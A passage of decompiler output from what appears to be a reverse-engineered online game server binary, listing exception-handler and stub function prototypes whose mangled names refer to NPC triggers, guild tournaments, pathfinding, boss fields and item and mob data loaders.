EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0__vector_PAVIAction_NPCAction__V__allocator_PAVIAction_NPCAction___std___std__QAE_ABV01__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L153853(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0Trigger_NPCAction__QAE_ABV01__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L154105(int a1); // void __usercall _L154106(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler____generate_n_Viterator___vector_VTrigger_NPCAction__V__allocator_VTrigger_NPCAction___std___std__IUTriggerGen_OptionReader_NPCAction___std__YAXViterator___vector_VTrigger_NPCAction__V__allocator_VTrigger_NPCAction___std___0_IUTriggerGen_OptionReader_NPCAction___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler_____Uninit_copy_Vconst_iterator___vector_VTrigger_NPCAction__V__allocator_VTrigger_NPCAction___std___std__PAVTrigger_NPCAction__V__allocator_VTrigger_NPCAction___3__std__YAPAVTrigger_NPCAction__Vconst_iterator___vector_VTrigger_NPCAction__V__allocator_VTrigger_NPCAction___std___0_0PAV12_AAV__allocator_VTrigger_NPCAction___0_U_Nonscalar_ptr_iterator_tag_0__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler_____Uninit_fill_n_PAVTrigger_NPCAction__IV12_V__allocator_VTrigger_NPCAction___std___std__YAXPAVTrigger_NPCAction__IABV12_AAV__allocator_VTrigger_NPCAction___0_U_Nonscalar_ptr_iterator_tag_0__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0__vector_VTrigger_NPCAction__V__allocator_VTrigger_NPCAction___std___std__QAE_ABV01__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert_n___vector_VTrigger_NPCAction__V__allocator_VTrigger_NPCAction___std___std__IAEXViterator_12_IABVTrigger_NPCAction___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L156216(int a1); // void __usercall _L156217(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler____make_pair_GV__vector_VTrigger_NPCAction__V__allocator_VTrigger_NPCAction___std___std___std__YA_AU__pair_GV__vector_VTrigger_NPCAction__V__allocator_VTrigger_NPCAction___std___std___0_GV__vector_VTrigger_NPCAction__V__allocator_VTrigger_NPCAction___std___0__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L156241(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__resize___vector_VTrigger_NPCAction__V__allocator_VTrigger_NPCAction___std___std__QAEXIVTrigger_NPCAction___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Buynode____Tree_V___Tmap_traits_GV__vector_VTrigger_NPCAction__V__allocator_VTrigger_NPCAction___std___std__U__less_G_2_V__allocator_U__pair___CBGV__vector_VTrigger_NPCAction__V__allocator_VTrigger_NPCAction___std___std___std___2__0A__std___std__IAEPAU_Node____Tree_nod_V___Tmap_traits_GV__vector_VTrigger_NPCAction__V__allocator_VTrigger_NPCAction___std___std__U__less_G_2_V__allocator_U__pair___CBGV__vector_VTrigger_NPCAction__V__allocator_VTrigger_NPCAction___std___std___std___2__0A__std___2_(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L156800(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert____Tree_V___Tmap_traits_GV__vector_VTrigger_NPCAction__V__allocator_VTrigger_NPCAction___std___std__U__less_G_2_V__allocator_U__pair___CBGV__vector_VTrigger_NPCAction__V__allocator_VTrigger_NPCAction___std___std___std___2__0A__std___std__IAE_AViterator_12__NPAU_Node____Tree_nod_V___Tmap_traits_GV__vector_VTrigger_NPCAction__V__allocator_VTrigger_NPCAction___std___std__U__less_G_2_V__allocator_U__pair___CBGV__vector_VTrigger_NPCAction__V__allocator_VTrigger_NPCAction___std___std___std__(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L157181(int a1); // void __usercall _L157182(int a1); // void __usercall _L157183(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler____loadFromOptionReader_UTriggerGen_OptionReader_NPCAction__VTrigger_2__Util_NPCAction__YA_NAAV__vector_VTrigger_NPCAction__V__allocator_VTrigger_NPCAction___std___std__PBD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L157376(int a1); // void __usercall _L157377(int a1); // void __usercall _L157379(int a1); // void __usercall _L157380(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__loadTriggers_Util_NPCAction__YA_NXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L149486(int a1); // void __usercall _L149487(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___RdoTriggers__NPCAction__QBEXAAVTrigger_1__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L151243(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Xran___vector_VTrigger_NPCAction__V__allocator_VTrigger_NPCAction___std___std__IBEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L152439(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0Trigger_NPCAction__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L153714(int a1); // void __usercall _L153825(int a1); // void __usercall _L153716(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0TriggerGen_OptionReader_NPCAction__QAE_PAVOptionReader___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0__vector_PBUGUILD_TOURNAMENT_LVGAP__V__allocator_PBUGUILD_TOURNAMENT_LVGAP___std___std__QAE_ABV01__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Buynode____Tree_V___Tmap_traits_HV__vector_PBUGUILD_TOURNAMENT_LVGAP__V__allocator_PBUGUILD_TOURNAMENT_LVGAP___std___std__U__less_H_2_V__allocator_U__pair___CBHV__vector_PBUGUILD_TOURNAMENT_LVGAP__V__allocator_PBUGUILD_TOURNAMENT_LVGAP___std___std___std___2__0A__std___std__IAEPAU_Node____Tree_nod_V___Tmap_traits_HV__vector_PBUGUILD_TOURNAMENT_LVGAP__V__allocator_PBUGUILD_TOURNAMENT_LVGAP___std___std__U__less_H_2_V__allocator_U__pair___CBHV__vector_PBUGUILD_TOURNAMENT_LVGAP__V__allocator_PBUGU(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L78906(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert____Tree_V___Tmap_traits_HV__vector_PBUGUILD_TOURNAMENT_LVGAP__V__allocator_PBUGUILD_TOURNAMENT_LVGAP___std___std__U__less_H_2_V__allocator_U__pair___CBHV__vector_PBUGUILD_TOURNAMENT_LVGAP__V__allocator_PBUGUILD_TOURNAMENT_LVGAP___std___std___std___2__0A__std___std__IAE_AViterator_12__NPAU_Node____Tree_nod_V___Tmap_traits_HV__vector_PBUGUILD_TOURNAMENT_LVGAP__V__allocator_PBUGUILD_TOURNAMENT_LVGAP___std___std__U__less_H_2_V__allocator_U__pair___CBHV__vector_PBUGUILD_TOURNAMENT_LVGAP__V_(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L80429(int a1); // void __usercall _L80430(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___A__map_HV__vector_PBUGUILD_TOURNAMENT_LVGAP__V__allocator_PBUGUILD_TOURNAMENT_LVGAP___std___std__U__less_H_2_V__allocator_U__pair___CBHV__vector_PBUGUILD_TOURNAMENT_LVGAP__V__allocator_PBUGUILD_TOURNAMENT_LVGAP___std___std___std___2__std__QAEAAV__vector_PBUGUILD_TOURNAMENT_LVGAP__V__allocator_PBUGUILD_TOURNAMENT_LVGAP___std___1_ABH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L153628(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__erase____Tree_V___Tmap_traits_GPAUMysteryVaultServer__U__less_G_std__V__allocator_U__pair___CBGPAUMysteryVaultServer___std___3__00_std___std__QAE_AViterator_12_V312__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L77897(int a1); // void __usercall _L81812(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Xlen___vector_UUnitPointWithDistance_Navigator__V__allocator_UUnitPointWithDistance_Navigator___std___std__IBEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L82977(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__wl_Pop_WaitingList_Navigator__QAE_NPAH0_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler__reserve___vector_UUnitPointWithDistance_Navigator__V__allocator_UUnitPointWithDistance_Navigator___std___std__QAEXI_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert_n___vector_UUnitPointWithDistance_Navigator__V__allocator_UUnitPointWithDistance_Navigator___std___std__IAEXViterator_12_IABUUnitPointWithDistance_Navigator___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert_n___vector_UUnitPoint_Navigator__V__allocator_UUnitPoint_Navigator___std___std__IAEXViterator_12_IABUUnitPoint_Navigator___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L86266(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0WaitingList_Navigator__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L86585(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__wl_StoreNeighbor_WaitingList_Navigator__QAEHPAUPathFindArgument_2_HHPBUUnitPoint_2_HPBUNaviPoint_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L86868(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__nm_MakePath_MapNavigator_Navigator__AAEHPAVVirtualMap_2_UUnitPoint_2_PBUNaviPoint_2_HAAV__StaticVector_UNaviPoint_Navigator_____Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L87479(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__pa_Analyze_PathAnalyzer_Navigator__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L87528(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__mn_Search_MapNavigator_Navigator__AAEHPAVVirtualMap_2_KKKKAAV__StaticVector_UNaviPoint_Navigator_____Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L87638(int a1); unsigned int __cdecl _L87639(); _EXCEPTION_DISPOSITION __cdecl _ehhandler__mn_PathFind_MapNavigator_Navigator__QAEHPAVVirtualMap_2_KKKKAAV__StaticVector_UNaviPoint_Navigator_____Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L110160(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__vm_IsStreight_VirtualMap_Navigator__QAEHHHHH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L110202(int a1); // void __usercall _L110203(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__vm_FindBlock_VirtualMap_Navigator__QAE_AUNaviPoint_2_HHHH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L158940(int a1); // void __usercall _L158941(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__Send_NC_CT_SET_CURRENT_ACK_CCharacterTitleZone__QAEXEEGG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159153(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_CT_SET_CURRENT_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159517(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__Send_NC_GUILD_ZONE_LIST_REQ_CGuildZone__UAEHXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159776(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_UGUILD_ZONE_LIST_CGuildZone____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159930(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0CGuildZone__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L155303_0(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__macad_AbstateCheck_MobAbstateCheckAtDead_BossFieldContent__QAEHPAV__List_VAbstateElementInObject_AbnormalStateContainer_____Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L156677(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sbbt_FindBuffer_ServentBuffBossTable_BossFieldContent__QAEPBUServentBossTable_12_G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L156745(int a1); // void __usercall _L156746(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sm_IBuffToBuffee_ShineMob_ShineObjectClass__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L157086(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__maal_MobDamaged_MobAutomaticActionList_BossFieldContent__QAEXGPAVShineObject_ShineObjectClass__PAVShineMob_4__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160228(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__erase____Tree_V___Tset_traits_UMobAutomaticAction_BossFieldContent__U__less_UMobAutomaticAction_BossFieldContent___std__V__allocator_UMobAutomaticAction_BossFieldContent___4__0A__std___std__QAE_AViterator_12_V312__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert_n___vector_W4ABSTATEINDEX__V__allocator_W4ABSTATEINDEX___std___std__IAEXViterator_12_IABW4ABSTATEINDEX___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0__vector_W4ABSTATEINDEX__V__allocator_W4ABSTATEINDEX___std___std__QAE_ABV01__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L162457(int a1); // void __usercall _L162458(int a1); // void __usercall _L162524(int a1); // void __usercall _L162525(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__maal_Load_MobAutomaticActionList_BossFieldContent__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler_____Uninit_copy_PAVMobAbstateCheckAtDead_BossFieldContent__PAV12_V__allocator_VMobAbstateCheckAtDead_BossFieldContent___std___std__YAPAVMobAbstateCheckAtDead_BossFieldContent__PAV12_00AAV__allocator_VMobAbstateCheckAtDead_BossFieldContent___0_U_Nonscalar_ptr_iterator_tag_0__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L164052(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__macad_PushBack_MobAbstateCheckAtDead_BossFieldContent__QAEXW4ABSTATEINDEX__W4StateDropType___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler_____Uninit_fill_n_PAVMobAbstateCheckAtDead_BossFieldContent__IV12_V__allocator_VMobAbstateCheckAtDead_BossFieldContent___std___std__YAXPAVMobAbstateCheckAtDead_BossFieldContent__IABV12_AAV__allocator_VMobAbstateCheckAtDead_BossFieldContent___0_U_Nonscalar_ptr_iterator_tag_0__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert_n___vector_VMobAbstateCheckAtDead_BossFieldContent__V__allocator_VMobAbstateCheckAtDead_BossFieldContent___std___std__IAEXViterator_12_IABVMobAbstateCheckAtDead_BossFieldContent___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L166046(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0ListOfMobStateCheckAtDead_BossFieldContent__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L166257_0(int a1); // void __usercall _L166258_0(int a1); // void __usercall _L166259_0(int a1); // void __usercall _L69337(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1KQScriptManager__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L69372(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__kqsm_Load_KQScriptManager__QAEXPBTName4___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L5309(int a1); // void __usercall _L5328(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1RandomBox__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L71798(int a1); // void __usercall _L71799(int a1); // void __usercall _L71800(int a1); // void __usercall _L71801(int a1); // void __usercall _L71802(int a1); // void __usercall _L71803(int a1); // void __usercall _L71804(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1__unnamed_MobDataBox__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L71854(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1MobDataBox__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L72207(int a1); // void __usercall _L72208(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0MobDataBox__QAE_PAD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L105021(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1ItemActionItemBox__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L105035(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0ItemRewardStorage__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L105050(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__irs_FillBufferItem_ItemRewardStorage__QAEHPAEPAUPROTO_ITEMPACKET_INFORM___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L12148(int a1); // void __usercall _L12149(int a1); // void __usercall _L12150(int a1); // void __usercall _L12151(int a1); // void __usercall _L12152(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1TokenArgument__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L12475(int a1); // void __usercall _L12476(int a1); // void __usercall _L12477(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1ORTable__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L12872(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_VORRecord____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L12898(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_VORTable____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L13716(int a1); // void __usercall _L13717(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0OptionReader__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L13683(int a1); // void __usercall _L13695(int a1); // void __usercall _L13684(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0ORTable__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L13856(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__or_Read_OptionReader__QAEEPAD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L13211(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__lid_Call_RecordDataCompareArgument__UAEEPAVORRecord__G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L13351(int a1); // void __usercall _L13352(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__ort_MakePrimaryKey_ORTable__QAEEPAD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L13406(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__ort_ReadColumnName_ORTable__QAEEPAVORTokenReader___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L13434(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__orr_GetFieldData_ORRecord__QAEPAXPADPAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L13545(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__ort_RecordBuffer_ORTable__QAEPAXH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L13583(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__ort_RecordBuffer_ORTable__QAEPAXPAD0H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L14246(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Enlargement___List_VORRecord____QAEEH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L14282(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__ort_ReadData_ORTable__QAEEPAVORTokenReader___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L14439(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__or_SelectCountFrom_OptionReader__QAEHTORToken___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L2056(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1CardStack_CardDeck__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L2132(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_UCard_CardDeck____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L2182(int a1); // void __usercall _L2183(int a1); // void __usercall _L61559(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1ItemOptionsData__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L69852(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0__codecvt_DDH_std__QAE_I_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L70410(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Getcat___codecvt_DDH_std__SAIPAPBVfacet_locale_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L71233(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler____use_facet_V__codecvt_DDH_std___std__YAABV__codecvt_DDH_0_ABVlocale_0__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L71714(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__open___basic_filebuf_DU__char_traits_D_std___std__QAEPAV12_PBDHH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L74007(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__overflow___basic_filebuf_DU__char_traits_D_std___std__MAEHH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L77114(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1__basic_filebuf_DU__char_traits_D_std___std__UAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L67641(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0CCsl__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L67656(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0CCsl__QAE_PAV0__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L67673(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__IncludeFile_CCsl__AAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L65656(int a1); // void __usercall _L65657(int a1); // void __usercall _L65658(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__uploadService_WinService__QAE_NVString__00_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L65790(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__startDispatcher_WinService__QAE_NVString__P6A_NXZP6AXXZ_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L70691(int a1); // void __usercall _L70692(int a1); // void __usercall _L70693(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1__unnamed_ItemDataBox__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L70790(int a1); // void __usercall _L70811(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__idb_Load_ItemDataBox__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L71916(int a1); // void __usercall _L71917(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0ItemDataBox__QAE_PAD_N_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L60484(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0MapDataBox__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L60526(int a1); // void __usercall _L60527(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1MapDataBox__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L56672(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1CToken__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L71033(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__Read_CDataReader__QAEHPBD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L83458(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Xlen___vector_Viterator___list_U__pair___CBGPAUQUEST_DATA___std__V__allocator_U__pair___CBGPAUQUEST_DATA___std___2__std__V__allocator_Viterator___list_U__pair___CBGPAUQUEST_DATA___std__V__allocator_U__pair___CBGPAUQUEST_DATA___std___2__std___3__std__IBEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl 